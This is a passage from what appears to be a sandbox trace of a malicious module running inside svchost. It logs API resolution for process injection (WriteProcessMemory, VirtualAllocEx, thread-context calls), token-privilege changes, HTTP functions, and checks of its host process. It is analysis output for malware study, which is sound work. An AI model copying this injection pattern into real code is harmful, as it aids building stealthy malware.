(Apc=0xfffffa8003630a70, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0077.786] ExFreePoolWithTag (P=0xfffffa8003630a70, Tag=0x0) [0077.786] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800363eb80 [0077.786] IoGetCurrentProcess () returned 0xfffffa800363a240 [0077.787] PsGetCurrentProcessId () returned 0x2c4 [0077.787] IoIs32bitProcess (Irp=0x0) returned 0 [0077.787] KeInitializeEvent (in: Event=0xfffffa800363ebc0, Type=0x0, State=0 | out: Event=0xfffffa800363ebc0) [0077.787] ExQueueWorkItem (in: WorkItem=0xfffffa800363eb80*(List.Flink=0x0, List.Blink=0x4470e8ce8b48, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800363eb80), QueueType=0x1 | out: WorkItem=0xfffffa800363eb80*(List.Flink=0x0, List.Blink=0x4470e8ce8b48, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800363eb80)) [0077.801] KeWaitForMutexObject () returned 0x0 [0077.809] ExFreePoolWithTag (P=0xfffffa800363eb80, Tag=0x0) [0077.810] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.814] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.815] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.815] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.817] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0077.820] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0077.820] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0077.820] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0077.820] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0077.820] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0077.820] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.821] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.821] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.821] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.822] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.822] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.823] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.823] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.824] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.824] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.825] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.825] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.825] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.827] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.827] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.844] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0077.844] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0077.844] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0077.916] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0077.917] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.918] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0077.918] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0077.918] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.919] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0077.919] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0077.919] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0077.919] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0077.919] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0077.919] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0077.920] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0077.921] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0077.921] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0077.921] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xef368 | out: lpflOldProtect=0xef368*=0x40) returned 1 [0077.922] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0xef368 | out: lpflOldProtect=0xef368*=0x4) returned 1 [0077.922] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0077.922] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0077.923] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0077.924] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0077.924] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0077.924] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0077.924] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0077.924] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0077.924] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0077.924] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0077.924] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0077.924] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0077.924] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0077.924] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0077.924] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0077.924] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0077.924] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0077.924] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0077.925] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0077.925] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0077.925] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0077.925] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0077.925] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0077.925] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0077.925] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0077.925] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0077.925] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0077.925] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0077.925] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0077.925] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0077.925] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0077.925] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0077.925] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0077.925] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0077.926] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0077.926] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0077.927] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0077.928] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0077.929] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0077.930] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0077.930] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0077.930] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0077.930] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0077.930] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0077.930] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0077.930] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0077.930] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0077.930] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0077.930] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0077.930] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0077.930] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0077.930] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0077.932] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0077.932] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\System32\\svchost.exe") returned 0x1f [0077.932] PathFindFileNameA (pszPath="C:\\Windows\\System32\\svchost.exe") returned="svchost.exe" [0077.932] GetCommandLineA () returned="C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" [0077.932] _strcmpi (_Str1="svchost.exe", _Str2="svchost.exe") returned 0 [0077.932] StrStrIA (lpFirst="C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted", lpSrch="netsvcs") returned 0x0 [0077.934] StrStrIA (lpFirst="svchost.exe", lpSrch="wermgr.exe") returned 0x0 [0077.934] HeapDestroy (hHeap=0xe20000) returned 1 [0077.951] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 147 os_tid = 0x2d4 Thread: id = 152 os_tid = 0x2e8 Thread: id = 154 os_tid = 0x2f0 [0080.501] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003486000 [0080.501] IdePortDispatch () returned 0x103 [0086.559] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\comres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.571] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800273c3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d48000 [0086.571] IdePortDispatch () returned 0x103 [0086.574] IdePortDispatch () returned 0x103 [0086.661] IdePortDispatch () returned 0x103 [0086.753] IdePortDispatch () returned 0x103 [0087.964] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winlogon.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0087.990] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winlogon.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.014] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 155 os_tid = 0x2f4 [0078.099] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wevtsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.237] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a8000 [0078.237] IdePortDispatch () returned 0x103 [0078.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b0000 [0078.238] IdePortDispatch () returned 0x103 [0078.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b1000 [0078.239] IdePortDispatch () returned 0x103 [0078.249] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wevtapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.251] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.252] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.253] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.254] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.257] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.437] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.438] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.442] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.443] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.458] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.664] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.017] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354f000 [0081.017] IdePortDispatch () returned 0x103 [0081.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003556000 [0081.021] IdePortDispatch () returned 0x103 [0081.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356f000 [0081.023] IdePortDispatch () returned 0x103 [0081.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357f000 [0081.025] IdePortDispatch () returned 0x103 [0081.033] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cf000 [0081.033] IdePortDispatch () returned 0x103 [0081.037] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d0000 [0081.037] IdePortDispatch () returned 0x103 [0081.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0081.038] IdePortDispatch () returned 0x103 [0081.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0081.040] IdePortDispatch () returned 0x103 [0081.041] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0081.041] IdePortDispatch () returned 0x103 [0081.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, 